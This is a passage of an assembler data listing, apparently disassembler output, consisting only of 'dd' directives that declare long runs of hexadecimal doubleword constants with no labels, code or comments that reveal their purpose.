		dd 1CEA4228h, 7D00A212h, 0C0B4362Fh, 0DB743BE8h, 0C148A5Bh
		dd 20EC5587h, 8730285h,	9C31B78h, 53742448h, 89A8E618h
		dd 23B1120h, 0FE7F33C4h, 0C4AF0E57h, 6C807142h,	0DB78D080h
		dd 8B6054EEh, 673A1730h, 10109242h, 0E92C0F6h, 0D8598437h
		dd 0FB8E9AB9h, 9AA0420h, 0CCECD928h, 55856811h,	358407B8h
		dd 837EA0C4h, 0EB00FF0Ah, 0A5C899A4h, 1A02E21Ah, 90C02E27h
		dd 1908F000h, 10911364h, 4E27FD02h, 0F9F4A3C1h,	16190086h
		dd 9E37A01Dh, 613B95F6h, 44EA04A7h, 3C98D5DAh, 4564883h
		dd 32ED4A81h, 0D42087CFh, 0B14CE7D9h, 6F021819h, 0D6D5F04Ah
		dd 8A85420h, 68F30573h,	0C0A3CB8Fh, 7CAD221Ch, 8DBC02C9h
		dd 1A3388C5h, 5C93D1E2h, 232E8EF0h, 0F0A28007h,	5D223471h
		dd 57CCA1CAh, 97431350h, 1C7BF80Eh, 430100AFh, 15FAA4C5h
		dd 7D18D1FBh, 5381008h,	64DE18B3h, 9E3990A3h, 67E65726h
		dd 998A983Dh, 4A43C1h, 30A88890h, 194775AEh, 7BD6573Ch
		dd 99B38CFh, 37702397h,	339C68Ah, 2445FCF1h, 38D1BD39h
		dd 4BE8418Fh, 0B196F3C3h, 0D97EF337h, 70301A07h, 0DA5B9Eh
		dd 0EAE3CEA6h, 80053099h, 5E3BF700h, 18C89DA9h,	4E8B303Ah
		dd 929B8670h, 594F0218h, 37D65D10h, 0C198B74Ch,	0F8ACD8F1h
		dd 71C5C4A1h, 72C2E6E8h, 73D480A9h, 49E53CFEh, 0B0ADC80h
		dd 9D8B455h, 98007E0Fh,	811FD35Ch, 6CA23Ah, 0D44191C9h
		dd 0E966F23h, 20E5A875h, 2A13B060h, 0AD004617h,	34585ED3h
		dd 0F407D141h, 0F974E9h, 0DA9BDD0Eh, 467D880Bh,	98781070h
		dd 8452AF12h, 5880BC00h, 0A4E6D1h, 0ABAD682Ch, 1E99505Eh
		dd 0A6D0D0Eh, 1A08009Ch, 85D3D2h, 0D7D0E87Eh, 841FA3A5h
		dd 0DE108602h, 64EDE981h, 0E4FB3CB8h, 0D9D3F860h, 0CCA89E0Fh
		dd 0EF760A1Bh, 0B006E0D2h, 99319704h, 0BEB20008h, 0CB8DB479h
		dd 0A550841Dh, 4C961AC0h, 155172B9h, 34EE5530h,	0A5397C30h
		dd 0E3072B11h, 1420556h, 0F8FEF40h, 0B8CD506Eh,	2A5F12FDh
		dd 0D53004BEh, 0BAB4093h, 0C29AE5D9h, 0DBFFC511h, 0E9F0D8A0h
		dd 0BE4042ECh, 30377BDAh, 35117617h, 0BB0C9108h, 0D06DF731h
		dd 0A698C8DDh, 0F4FE833h, 0E49A4E19h, 612A099Eh, 57E8A080h
		dd 8A31BCA1h, 0C49D799Ch
		dd 928341ECh, 0B0AE6708h, 493A68EAh, 0C8044D24h, 0DFE34E5Ch
		dd 9803C542h, 14D6AB0Ah, 3688099Ch, 6C905784h, 3E05619Bh
		dd 87F4DED3h, 1730BC70h, 63AD00D6h, 541BB494h, 4D00E14Ch
		dd 0F5793B8Fh, 78D1E6ABh, 0FA31C0F8h, 72D42C8Bh, 3CD3C26h
		dd 0DDCE14h, 0C0887889h, 3FA2EBDDh, 0A72A8503h,	0D80098B8h
		dd 1844A864h, 33116418h, 332FFD51h, 0A3F099C6h,	0C35A3811h
		dd 8C29B0Bh, 1C400012h,	2808E38h, 11D91646h, 0FB844647h
		dd 0F4075182h, 0F9688EE7h, 9FE06A47h, 155D011h,	0C2A9E630h
		dd 19437FDh, 9832EBD9h,	63099B05h, 1EDC1F78h, 640C24EEh
		dd 328840DAh, 6C8410Fh,	5F0A1933h, 0A891307Ch, 0F0A94880h
		dd 129E83h, 6072FC93h, 0B02F21D6h, 83A17869h, 0B448DE64h
		dd 197EEA06h, 0C4E0D462h, 9E730174h, 40C8ED47h,	9544E68Ch
		dd 0C4A06B51h, 0BD604A4Fh, 66F09418h, 0BA59C1CDh, 0FCC36E30h
		dd 2300C4DBh, 8A5C2E0Ch, 702B3429h, 30E2483Ah, 0B8DE5708h
		dd 52D6AD1Ch, 11882050h, 0FB29CAE9h, 0BE9C00F8h, 622032B7h
		dd 0DBC01F00h, 17B6E4A6h, 22031CFDh, 19857F58h,	56C2B3Ah
		dd 916B1A88h, 7C39674h,	80C8F867h, 0B531D35h, 2272F90Fh
		dd 11198460h, 7573097h,	0F2BB704Dh, 0A28930E1h,	590CCF35h
		dd 0E9D65E4Eh, 282300ADh, 0DA7D2EA7h, 860F34ECh, 0E1DC7980h
		dd 52A3321Bh, 3A88CC30h, 5585D564h, 41A5B4F6h, 0EA4FFEACh
		dd 0B0C104CCh, 78029BC5h, 0B4AF8C82h, 0E320E444h, 48EEF867h
		dd 93014D30h, 322F9E72h, 4AE82066h, 0C92D526h, 0A2E980BAh
		dd 0EE53D3ACh, 48A160B0h, 0BE4706D1h, 0E8709661h, 8311B6ECh
		dd 6E4225Eh, 0BC620F6Ah, 4594219h, 0B34E4CEAh, 23570701h
		dd 8878BF51h, 3EB28AE7h, 0B6BA478Ch, 0D45C4860h, 60EE17F4h
		dd 1A197C41h, 1B07465Bh, 0BF261883h, 64035124h,	66103A1Dh
		dd 7C518856h, 8AA42FD2h, 9FB49048h, 3302BEAFh, 325708ACh
		dd 0E264E8BBh, 0F6D33E7Fh, 0FB9C064Ah, 688441CDh, 86603FEEh
		dd 971AAE81h, 0C7F61D9Ch, 878A41Eh, 0E907CD76h,	5684A6D7h
		dd 0DBA00CD0h, 91E06066h, 5B3E4F8Ah, 51C1D907h,	9C30AF10h
		dd 58975045h, 0B3016C73h, 0D25556FEh, 7012E570h, 438A76C0h
		dd 0FA1CA953h, 5A83AC51h, 9E009432h, 640A8770h,	64B2290Fh
		dd 2C548425h, 887F486Ch, 287B7BD4h, 122D3001h, 239F72D7h
		dd 909EF820h, 0C256200Ch, 50058737h, 4F068298h,	4048AF8Eh
		dd 0C9400E4Ch, 0D6530843h, 22259AB0h, 57AF450h,	64C004AAh
		dd 824A218h, 319ADA2Fh,	50CB5D10h, 996A4690h, 0DFD38500h
		dd 4175663Fh, 678103ACh, 0BEEF6265h, 0CD3122h, 2D7DBC79h
		dd 83AC275Bh, 0B9D1DF00h, 0DDEAABD8h, 8A250222h, 6556841Ch
		dd 5F17F052h, 88417712h, 9654D655h, 8C20B025h, 546948D0h
		dd 16D5421Fh, 16C421ADh, 33188E65h, 9C26BC1Ah, 8C2CEB40h
		dd 1C4900AEh, 3890F015h, 8A315F08h, 7135E0C4h, 52F35888h
		dd 841B640Ah, 36C29D47h, 348209C7h, 5C03DA5Ah, 51E102E1h
		dd 1E7C6E09h, 86CC58E0h, 7C3390Ch, 0E7E21DFh, 1FE7EF12h
		dd 8CA3D287h, 10A05C18h, 0A5014833h, 19231C5Bh,	6474C312h
		dd 7C3B1E85h, 44A82ACCh, 0F9F009D3h, 0A100BE7Dh, 34388394h
		dd 96FF39B9h, 40E90040h, 443719B7h, 648310C7h, 5D306879h
		dd 2649C0D5h, 302AD3A4h, 62170D1Fh, 0F679C440h,	7F161Bh
		dd 0FC12927Dh, 0CE1EA8B5h, 73EBF500h, 0BF62CB45h, 1BFE39A6h
		dd 0A88316F4h, 0E2581F22h, 1891593Fh, 5D81BF02h, 3A904889h
		dd 0B05A2901h, 40B9FE2Fh, 1C324A8h, 5B91D860h, 4C8A05ADh
		dd 9C22DC5Ah, 5F654504h, 40B39B06h, 0EB121B05h,	0F909391h
		dd 24E9C0CFh, 0C003E11Ch, 0FE428A6Ch, 79EEB8C6h, 707D0083h
		dd 0BF10084Ah, 0E3291849h, 0D0C204ACh, 9EC80003h, 2100F1AEh
		dd 0B52FBE01h, 0CAF5B07h, 0EB77D6C2h, 0BD0CE318h, 40E62EC5h
		dd 7FB900DEh, 0F638ABA0h, 0E260FF61h, 0CE525B18h, 0AE730F55h
		dd 0AF8FA5F0h, 0D73FBC80h, 180CD1B0h, 3874942Ah, 0FEC4F047h
		dd 19501F44h, 0D01A7C33h, 301C10A4h, 452D7208h,	0DC44F40Ah
		dd 4391C6Ah, 78AE4954h,	0DDD6D280h, 0F70DC14Dh,	29C0D129h
		dd 0A0AAE6F0h, 8D2698h,	0B0BE4847h, 0ADE56DA5h,	8B281350h
		dd 8461B97Ah, 0DB4E2978h, 52E4B448h, 0BA1FA83Eh, 30082AC4h
		dd 85D9865Ch, 41DE7221h, 0E59E9604h, 0BAF67840h, 0C4A823D6h
		dd 0D1303250h, 0C40479D8h, 0D4C35771h, 8102D018h, 312AC2C5h
		dd 0B00A1829h, 0F0450757h, 0ACDE9C80h, 60019E99h, 449B70ADh
		dd 7B0083F9h, 0CB24422Ch, 0C5BAA6Ah, 5446AC9Dh,	4441EFD0h
		dd 491DC4D8h, 841228C5h, 98302345h, 8CD9D807h, 8DC7D0F6h
		dd 1F822380h, 0DFF40037h, 46E0E403h, 0B8882B8Eh, 9F4CA367h
		dd 0CAE5AA3h, 2883FB58h, 8C0EE9D1h, 8EA5D166h, 17A1805Eh
		dd 1BC2D15h, 3F24F901h,	81AB2041h, 857AA91h, 1180AFBAh
		dd 0F541A022h, 842A967Ah, 0E562B044h, 20399E10h, 3583BEBDh
		dd 0C22ABCE2h, 5515C46Dh, 0A128AB23h, 0C1FABDCh, 580509C0h
		dd 941E54D0h, 0EF08008Ah, 6D07F597h, 0F315F244h, 1A4512Fh
		dd 0BAF931BFh, 405A3457h, 0F3C39203h, 39005030h, 29EB2CCEh
		dd 0CBD793Fh, 0E4DC7EA5h, 1B3A1E91h, 53527846h,	3C472BD8h
		dd 60859658h, 71D05940h, 0D9C301EBh, 42E0BA09h,	7EB23431h
		dd 29C98117h, 0FCEA2C2Fh, 1C317925h, 4E3D1A3h, 52A3AC8h
		dd 84B05E50h, 2480AECh,	1B64D9BCh, 9765080Ch, 4976F661h
		dd 0F8806C90h, 0A281AD04h, 0BDBCA1E2h, 619409C7h, 0D3215443h
		dd 3385F08h, 0F3982E30h, 713843DBh, 0FE00FCC2h,	9CD010BAh
		dd 14C0BF32h, 0DC190A83h, 70907Ch, 1AC2FCE1h, 0B7F96B2h
		dd 7BB881C1h, 0F5F18D47h, 0A459204Ch, 915C31BCh, 205F2C99h
		dd 0A0908A9Ch, 77628D0Fh, 0DDDA82A5h, 801048A3h, 2D38C03Ch
		dd 0E231945Fh, 91018177h, 0D69CAEEAh, 82F0E902h, 1079CBh
		dd 0F58D80B8h, 2CB2EBCFh, 9754EC00h, 4D1D479h, 0D3221E94h
		dd 0FCD9C03Fh, 1A6C2AE9h, 188FB700h, 19FDBBDEh,	0FBA01E4Fh
		dd 20007EA3h, 7797565Ah, 760E6EAh, 153FCD40h, 0C6E200ABh
		dd 0DD059E2Ah, 0D239E768h, 3CB800C9h, 189FC8CCh, 0EA6D03E2h
		dd 0EC4A8555h, 4D9450F7h, 0F08090C5h, 882058C6h, 0FDAA0491h
		dd 0DA76F850h, 0A1171285h, 67D800E2h, 0E760DB1Dh, 1308CA00h
		dd 0B73D4063h, 1E2739Eh, 4851587Eh, 0C5C3E93Fh,	80D9D522h
		dd 77EAD740h, 0CA8F63h,	0E1E868B1h, 2675A4C9h, 0A7F04800h
		dd 4A0198ABh, 7342005Dh, 94BFCA0Eh, 8308D93Eh, 0EBD01Dh
		dd 95DECB55h, 0C900E6D3h, 0A13471D6h, 0BDDBC8h,	91447EB3h
		dd 0D3104E92h, 4221FE00h, 0A41DD21Fh, 9A7701F5h, 95E32868h
		dd 3383045h, 0D0759491h, 7A00CF7Ch, 0E9ED0611h,	4CB6C29h
		dd 0E7D268C0h, 254F80C9h, 9F5CF8CCh, 182C0019h,	0E179925Eh
		dd 21550327h, 1C82D37Ch, 60AAAFD0h, 0DB19D901h,	520BE76Eh
		dd 3B2D7FE4h, 0D000F3A7h, 441C7C8Fh, 0E2184546h, 0D540C30Bh
		dd 910F2090h, 10D69600h, 0BD068B2h, 0B9AE0008h,	60C43E39h
		dd 58F8AC07h, 4500B490h, 2055DE0Fh, 1D90E7BEh, 4FAFAAE3h
		dd 0B2A18F9Ch, 661DD062h, 66A0AE8Ch, 0DC017A5Dh, 0F5D9EE3Fh
		dd 1FE897E9h, 845F01E5h, 627FC927h, 17900058h, 0EA6705B1h
		dd 80083A50h, 6F94605Ch, 1CD6DC03h, 0CFB2E49Dh,	67B51BF0h
		dd 10DF0144h, 92407AAFh
		dd 0B3EBF4FAh, 0DBFA957Fh, 0D3D65600h, 0F7BE23C4h, 94140085h
		dd 0C567E3EEh, 9A00E2CAh, 81C9CC82h, 0EA972F65h, 0F0ED0060h
		dd 465B192Ch, 0C200E675h, 0ACBD9607h, 0AE1787h,	9D63B5AFh
		dd 0D290A405h, 9FBEDD05h, 0AC82327Ah, 5CE120A9h, 0E2294248h
		dd 4238811h, 0F53EF67Fh, 286A807Dh, 21EF4785h, 53953AD9h
		dd 344AF57Bh, 46B3FB0h,	0C823B500h, 688FE420h, 56A90722h
		dd 38E5D003h, 60E71E50h, 2D94189Ah, 6C74B01Bh, 7421840Bh
		dd 0C028E098h, 77B8000Ah, 0AF5B265Dh, 7029449h,	228CD2FDh
		dd 14DA55h, 4CB0B6C8h, 80E4011Ch, 0D37BCA3Ch, 0FCF5051Ch
		dd 50F4DBD2h, 47580072h, 46AF5CB9h, 0BCE4BFF4h,	0DC29AE00h
		dd 5F960121h, 40336071h, 0AC9CC3BAh, 37EBD311h,	2170300h
		dd 0A520BC79h, 0F165FF1Ah, 48F208h, 5E02FEF9h, 19554E1Ah
		dd 0B06DE403h, 0C64831BDh, 9A3022E8h, 117F9619h, 0D2E19D59h
		dd 1FFA3448h, 0A3BC7C02h, 0F8000911h, 0B16D0201h, 91F6F931h
		dd 0B50443Eh, 0E3C330F4h, 3BDD9040h, 83E60071h,	9EBB6A40h
		dd 0E8D9DE3Dh, 0C819E070h, 0BC237602h, 3D081128h, 1C0200FAh
		dd 8E9C80CCh, 48AB6135h, 4242843Ah, 0E8F283C8h,	6BF59300h
		dd 0AF73207Fh, 0FFBC0780h, 50EF0ED6h, 0B3D147C2h, 6AB081E3h
		dd 461FAE5h, 0CD384900h, 8ACC7101h, 8345D0C6h, 3730C87Ch
		dd 71B54221h, 0BC29AD03h, 8823E2B8h, 0AFB66D9h,	3A6957D7h
		dd 0EA983CDCh, 1561B907h, 0A79F3B00h, 90CDB708h, 0D7DC00BAh
		dd 6F369709h, 9D3B4FE3h, 8CD03E8Ah, 0D8BC3D8Eh,	0E8301972h
		dd 0F8965048h, 615EFB4Dh, 9486D040h, 0F19EFE57h, 0BE707C80h
		dd 0B90874BDh, 0F20A7891h, 0B000E0D1h, 3EE41BA5h, 50256F81h
		dd 0B920A054h, 0C40EC900h, 0CB4703F4h, 0C767984h, 0DBF1B672h
		dd 3F73A820h, 0C8380960h, 81FE509Eh, 0EB1F0B0h,	0DFC1F1D8h
		dd 0C8C95203h, 79A9AC00h, 8FBC1776h, 0C4B0D912h, 48DE3CB1h
		dd 7183CCh, 0CBA1FE76h,	9767B25Dh, 8868CCBEh, 0ADD0908h
		dd 5C30AA9Dh, 6505A046h, 403AEB5Ah, 954FCE8Ch, 2F00F2C4h
		dd 7A661BD1h, 646D21h, 7883CADEh, 68E46EFh, 1B70A862h
		dd 0A8AEC8h, 7ADD4309h,	0F28A3BA2h, 0BDD305F4h,	702B92Fh
		dd 0C062CA84h, 0BA0A5455h, 0B4A7EF24h, 0A2D16504h, 90993896h
		dd 0F5E5248Bh, 71C4C13Ch, 53347CE7h, 134223Ch, 0FC71CC41h
		dd 23FAB2B0h, 69D30004h, 1CEC933Fh, 7EEA0005h, 5296F9CFh
		dd 7BEC80BDh, 7B0EB53Eh, 0A3F6F3Dh, 0A8C6B986h,	0C1006C22h
		dd 877ABFEAh, 157D362h,	0AE61E080h, 26E93Fh, 30298ACFh
		dd 6D0D6FBh, 0B70CF3BAh, 20541977h, 67097A44h, 410251E2h
		dd 80B01D6Fh, 0C4D8CC11h, 12DA23C1h, 0B02B371Fh, 21C0B56Ch
		dd 87C4E0EFh, 77140C43h, 8319A91Ch, 6447600h, 36A323Eh
		dd 0D0891D67h, 1E2EC181h, 50952FF4h, 0DB15C4A8h, 5F707106h
		dd 0A41AD2Dh, 0FF8E0123h, 218507BCh, 7C9879FCh,	4684AD54h
		dd 2F502D9h, 31F0BC7Bh,	0FCA3100Bh, 13C80002h, 9B63A8AFh
		dd 8AF86029h, 19C030A3h, 78C194B6h, 0D4AC8F63h,	8F43048h
		dd 8BC7A02h, 0A6400CC4h, 3B3C02FBh, 0F90B40Eh, 8CE96094h
		dd 88A4C029h, 1C326236h, 40BEE9C2h, 2DC12Eh, 50D7D945h
		dd 6B2959AAh, 41947900h, 71D6C213h, 4C9197B4h, 1C01D228h
		dd 0DC4FAD2Bh, 80CEB3C8h, 36AAFD30h, 8E720CE7h,	0BD68E265h
		dd 6DE99504h, 7498FEE5h, 0D87108C1h, 3DC4668Ah,	71C95E40h
		dd 0F400580Bh, 0A370609Fh, 308EBDADh, 0BE58CEB5h, 52594D57h
		dd 0D9E0C90h, 0B818C8h,	23D2446Ch, 0B44DD124h, 81348097h
		dd 4A04980h, 19466638h,	0CEC880EEh, 50034509h, 955FBC75h
		dd 0E1500030h, 10D05D20h, 0C80F63DDh, 60646EFBh, 3F4518A5h
		dd 0B8C906Dh, 0AFDC47Eh, 0E4576780h, 84D215Eh, 388B15D4h
		dd 77DE04F4h, 9CC80C09h, 1A041255h, 23383A01h, 32A60301h
		dd 0CF9842BAh, 4F13779Dh, 0E4080CABh, 2FB084A1h, 0E4C890C5h
		dd 0B003318h, 0BF4882E3h, 0A4D8CECh, 72EDC912h,	2C521C90h
		dd 79D0A180h, 7771831h,	9C031B80h, 5EE0A59Eh, 981C9C0h
		dd 46600898h, 99C3BD80h, 8A250B58h, 1264D38Ah, 397709A9h
		dd 6DF29420h, 119DC14Dh, 2070EF64h, 0E10201E7h,	0F0978A1h
		dd 8D346082h, 0ED079505h, 0B8258396h, 27610C04h, 0AA15B642h
		dd 5C9D008h, 2098CCE8h,	0E760478h, 32D697BCh, 707E2098h
		dd 2F013C76h, 7A918BB7h, 0AF3095CCh, 24B25CD0h,	499C9200h
		dd 5BBA5350h, 0ADB87760h, 762DDC54h, 8F932CBCh,	0DB9D8C64h
		dd 88C87B91h, 1E76C7CAh, 0D967BCC2h, 4E900016h,	0BF735878h
		dd 404BC07h, 2A8134B4h,	7464CCC7h, 3DC40416h, 330612D0h
		dd 0C841082Fh, 7DC0B570h, 58BCF376h, 87E09C6Fh,	0C5027675h
		dd 0B3B98C59h, 0AA04048h, 10724D49h, 32C4CF87h,	0BF31D223h
		dd 82D7EA11h, 8F5D5C5Ah, 467CC4E5h, 71CB01FCh, 0D0F68ACEh
		dd 58880E0Ch, 677100B3h, 212A123Dh, 0E0C3E592h,	0A61A88h
		dd 0B5B06E69h, 75D990E2h, 0D1A0FAEAh, 8DFF4CDh,	0F84D8BBh
		dd 40BAFCBFh, 4EEF0F72h, 9503045Fh, 0ACF5EAh, 4ACF3F76h
		dd 0ECD40080h, 6D97E06Ah, 0BA025F28h, 0AE16512Dh, 189C4413h
		dd 81A4BB09h, 8614BCFBh, 61F0BE81h, 0AA832C78h,	5B4C043Bh
		dd 666300AEh, 4CE2C15Ah, 0DD1094ABh, 0BCC626DAh, 0E6807111h
		dd 0AA23C3C4h, 0E5D8448Ch, 0C4CE3Dh, 0F3A22C1h,	5C7A695h
		dd 42C923FAh, 0A0788891h, 74843F72h, 0BCB984F7h, 61180959h
		dd 46032917h, 0BB4A430h, 0ADBA0105h, 0E598A68Dh, 6586712Fh
		dd 0DC883018h, 5C9300E5h, 61E8A8F9h, 3195061Fh,	0A19FB9C0h
		dd 0C440AB58h, 0D1301B48h, 2329CAC4h, 0ECC08482h, 77C4D9h
		dd 30CAA4A0h, 0CD1CD401h, 4F610C38h, 0EB911480h, 0FB1B032Bh
		dd 8496C8CAh, 29CD40E4h, 0B00CD6D1h, 0BC630404h, 448E02Fh
		dd 2CC88296h, 4D3F10B0h, 2F5C1823h, 1C288C9h, 0B112763h
		dd 0FCD40DA2h, 0C300C79Ch, 0D075CE10h, 5CDA9EC2h, 4E251073h
		dd 0F1B6F021h, 5F3E00DDh, 0E95440BDh, 0E0898A1Eh, 5092B4A4h
		dd 3CC8108Bh, 0DCFCCAC0h, 1694FCD9h, 9C1F2FFh, 0DC468158h
		dd 0BC489D5Ch, 9E038C0Bh, 8C46F530h, 4A9D681h, 0F272E9FCh
		dd 0ACF4D047h, 389662D1h, 8619DD00h, 2A7072C0h,	30ACD830h
		dd 5EB1075Ch, 7D00F1CFh, 9DEF3565h, 3FD675Ah, 0ECBB3AEh
		dd 0F2801BEAh, 297D63D9h, 0AF0CE57Ch, 481EA157h, 7D8E3D46h
		dd 0BDA3D06Fh, 590005C2h, 0C818408Dh, 0C4129686h, 90BE1E20h
		dd 0DBF50A18h, 0D8D76800h, 0A930389Fh, 94821E88h, 0BC664A3Ah
		dd 0ADB3C094h, 0B9128A57h, 6402D748h, 0A8C13F89h, 0E4899008h
		dd 918C9709h, 0F64287D7h, 0BB62C0C0h, 6E46192Ah, 0C4BE36C9h
		dd 0C61E4192h, 0A6D32129h, 726F0F7h, 8502B2Ch, 0E1000C29h
		dd 1BA4D2CFh, 48BE5008h, 0B9EF000Eh, 1F722BF7h,	741E2EFFh
		dd 3400990Dh, 0F3ACE9E2h, 68F164ADh, 55848178h,	86BA013Ah
		dd 0C630E9F6h, 7E007866h, 0A4EE9B64h, 8CE47BE3h, 0D1092AFEh
		dd 24450726h, 0CE60FB60h, 8A10CD71h, 30C8D0EEh,	71B64380h
		dd 2E75B285h, 0E00487ECh, 0AEA9D69Ch, 849B88C0h, 2B2D06h
		dd 42B1925Ah, 0D74FC416h, 7B2660F2h, 467424ABh,	0D46700BFh
		dd 3FAFD1EEh, 345349B1h, 0BE89AE08h, 0C95C2905h, 5FECE4CDh
		dd 293167E9h, 0E52914F3h, 0AD08305Ch, 0B8BED640h, 0F30341CCh
		dd 98E83DD2h, 962E7AB0h
		dd 5F676089h, 1620B4h, 8C414CDCh, 7309B161h, 230A8D97h
		dd 1C71B38h, 37FFA7B9h,	0F4D55E13h, 0C9EE8A60h,	2523F939h
		dd 7D7000C5h, 0EE426AEBh, 449531B7h, 803E8338h,	0E67B10A9h
		dd 7C48A117h, 2F5DBFh, 93C0A048h, 96535F2h, 5E2A8F7Bh
		dd 3700D80Ch, 1DFEA788h, 281B7556h, 3BDD0DE0h, 0D104B403h
		dd 0C129BF7Dh, 23443C73h, 300EB208h, 0BEE41568h, 65F20602h
		dd 7A32C66Fh, 0CC6D540Ch, 717716B8h, 9B88338h, 90A0C6F2h
		dd 47220D1h, 0C3EB84A0h, 55F4B4A8h, 0A05984E2h,	0C0C7298Ch
		dd 902DC589h, 205471C8h, 953CAB8Dh, 93109224h, 4F13FC49h
		dd 46BEC0A0h, 890FD0Bh,	0C680A9E6h, 0A6C818DBh,	4FEB58F3h
		dd 0B30F1CBAh, 223EFA59h, 0C2C0CF02h, 0F1D85198h, 0B018D7h
		dd 0CBCD2123h, 9625C5C7h, 0FBBB3505h, 808977B7h, 44BA7060h
		dd 191B298Dh, 0D798A83Ah, 51462C72h, 18B3D908h,	5B240FE7h
		dd 0BB647689h, 985848Eh, 9C5A2E80h, 0C0F05528h,	272E020h
		dd 0F3EB782Ch, 68516E30h, 7B80B311h, 3FBCF576h,	89C3D742h
		dd 0F1837673h, 0E0BC64AFh, 0A76483D4h, 6C885C21h, 80890029h
		dd 569E7C5Fh, 21008C18h, 3999C981h, 497F9772h, 0B62418EEh
		dd 0A78A0A30h, 1F7A168Ch, 604E1393h, 0C0C4CB3Ch, 11B22323h
		dd 0D3EE14B4h, 62E604D8h, 0D4C1F173h, 60F6B7F9h, 81AE65F0h
		dd 0F8221Eh, 3E1D84F3h,	10DEEFDh, 2E2D1CDCh, 693F83BDh
		dd 13F43C98h, 0E042215Fh, 51CB43F3h, 18B67930h,	0E8972CF8h
		dd 8B3B0880h, 0B6C8C304h, 21852CD0h, 229E4F70h,	8CA07EA8h
		dd 36D123C8h, 0C5C5F444h, 8AA81A10h, 3A817064h,	0E4C1B612h
		dd 9D7A1003h, 45590011h, 8260481Ah, 0E09D0A6h, 65BA3169h
		dd 608DE4A0h, 0FE4CA23Ch, 7CD40064h, 9EBC8B76h,	149CA311h
		dd 29346DEh, 0E9CB84F6h, 9394C646h, 32B17810h, 2CD1F82Ch
		dd 18CB9C13h, 0CEAC509Dh, 1536A0F7h, 94619B6h, 0AEB80861h
		dd 3221E810h, 78007C94h, 2C3B769Bh, 7847F9F4h, 0D4C3DB20h
		dd 0E56D26E4h, 0BF467434h, 5CF09F06h, 5A00D90Dh, 6FAA39E4h
		dd 2C7603Bh, 0F3ADAB80h, 10C7DADDh, 6437C4h, 0F0939AF0h
		dd 8A040C6Bh, 7BE45961h, 8A8810CEh, 98935DC3h, 0A48CFBAh
		dd 0C2BCEDFAh, 0E4EB44CCh, 4F005F14h, 77A13E28h, 98A91Dh
		dd 24079EFBh, 0ABC9D231h, 28610B26h, 8F50F647h,	0FD544FAh
		dd 60524B8Ch, 0BFF8BBE3h, 1CF480DDh, 7D0BDC85h,	0D015307Ah
		dd 0B9446874h, 1B4930DCh, 0BD00301Fh, 81D0E2F5h, 4629095h
		dd 0AFE6D714h, 0BDACA461h, 6E935300h, 0DAD4A50Ah, 4F57DCCh
		dd 57BA52C8h, 0F9BC8099h, 640063CFh, 9EF8AAA2h,	12F3E1D2h
		dd 4198C53Eh, 0D8F7D9B4h, 80D828D7h, 447EF023h,	63B503A8h
		dd 0D18BF718h, 0FAE26AC0h, 0EA81962Dh, 0C82CE3E0h, 243CF2DAh
		dd 42B0E5B7h, 4227BD3Eh, 0C8D75D22h, 0D2F57Ch, 0CAF9C1D1h
		dd 6F5EB2B3h, 297BC2E8h, 6806064Fh, 612FEBh, 238FE51Fh
		dd 0B946D6FBh, 650EC2F6h, 892FAE62h, 0B6E01129h, 76097A18h
		dd 1C47BCF4h, 72840000h, 1D6A3476h, 0EF76F579h,	9AA0202h
		dd 0CAD2B708h, 44F047B8h, 0B2060B9h, 0B875018Fh, 0BCF0B2FDh
		dd 0ED14EC74h, 49A45900h, 18D97363h, 47042C8Ah,	16E02CACh
		dd 0C18C80F5h, 9D2C1FB9h, 0BD62FCABh, 39D0E4BEh, 4C011E71h
		dd 0C2F36927h, 6CB2FDD6h, 0EF7E89F4h, 269960BCh, 3B5484B1h
		dd 5B00DFA4h, 75224478h, 0BB38A2h, 7E4E200Ch, 4D2F3C60h
		dd 84182A5Fh, 5D9BACD0h, 5EE814ABh, 4DBD6800h, 0B744E6FAh
		dd 0F8DB5C01h, 2723D184h, 0D032DAD5h, 88349373h, 4623CDC4h
		dd 0BA227Ah, 28C4D4EBh,	3C998901h, 616E5807h, 0C08CD11Eh
		dd 20A5415Ch, 3DE1F698h, 0C3E83AACh, 0D80BDC22h, 0FA2F5957h
		dd 0A54D2104h, 0AC30D00Ah, 8A647E81h, 41F2BA65h, 5C022088h
		dd 0E766E890h, 0AA2BA004h, 6904BB5Dh, 63833B6h,	0D8822549h
		dd 2B0C8843h, 0A03BAED1h, 20A36F05h, 0CE18FA0Ch, 9800F346h
		dd 5296D71Ch, 0DD303FBEh, 86C8802Ch, 680D69F4h,	0C790459h
		dd 0FAE8EE18h, 0CF368C13h, 80355C08h, 0C10D9D5Eh, 4A1C7B78h
		dd 0BB7740h, 8616BA6Dh,	32C05D43h, 0AB60585Ah, 0C699C8C0h
		dd 596AA880h, 0DCB8F4DCh, 55636400h, 848AFD8Eh,	3CBE9A59h
		dd 0A5122C18h, 0F224B2B0h, 0C5393095h, 3C32FD02h, 0C02C9C62h
		dd 4BD9Eh, 0D48274BEh, 980594EFh, 39C9470Bh, 7140E0C4h
		dd 24754824h, 945231Eh,	0C4A38429h, 915A07E1h, 8D23D02Fh
		dd 5DD62C01h, 0A280AA0Fh, 0ADF21F46h, 112477B7h, 0D3649008h
		dd 0ED610C45h, 8C7D0EE8h, 0F386200Fh, 307C546Dh, 0D229C71Dh
		dd 0D000600Ch, 4F337509h, 13A9961h, 0FEE25489h,	30CFDAD8h
		dd 2D2757B8h, 21C8A238h, 6AD0FADCh, 86019C5h, 0E612CD81h
		dd 0E5658404h, 0B8898D02h, 833298F0h, 0FC5CD9CEh, 19608h
		dd 9BA0EE7Dh, 0E900A9FCh, 0D8178DC8h, 1221247Ch, 0C3450DAAh
		dd 48FE1B48h, 0C05B654Eh, 0CBB6E160h, 0BC90C58h, 0D013F37h
		dd 0A011141Fh, 0D429E880h, 0F91231D6h, 7CF2D16Dh, 0B295935h
		dd 8CE4A164h, 910E8921h, 19290F55h, 71C93996h, 0BD00D6E5h
		dd 988804C9h, 0FEB7161Bh, 23403B01h, 0AC5E00B3h, 0CADE918Bh
		dd 0AFB9F704h, 10937557h, 0B194A7E9h, 0F3BA0E40h, 66050F9Ah
		dd 3622D83Fh, 0F87008D0h, 0D3D103F6h, 0A81C898Ah, 0DFFAA807h
		dd 7792918h, 3C18BD00h,	0EBE52D04h, 1520D03Ch, 0DC0033DDh
		dd 0BC085D8Ah, 262A2FD6h, 1A80E27Ch, 0C89D8839h, 43809311h
		dd 982A90B5h, 0FC86BA0Ch, 736680FDh, 918C007Ah,	99022BD6h
		dd 35500859h, 1E43DDC4h, 0D3DD885Ch, 227081E4h,	6675F103h
		dd 0C4CA0724h, 654923BFh, 0D2F18098h, 0F0E43EC4h, 51657026h
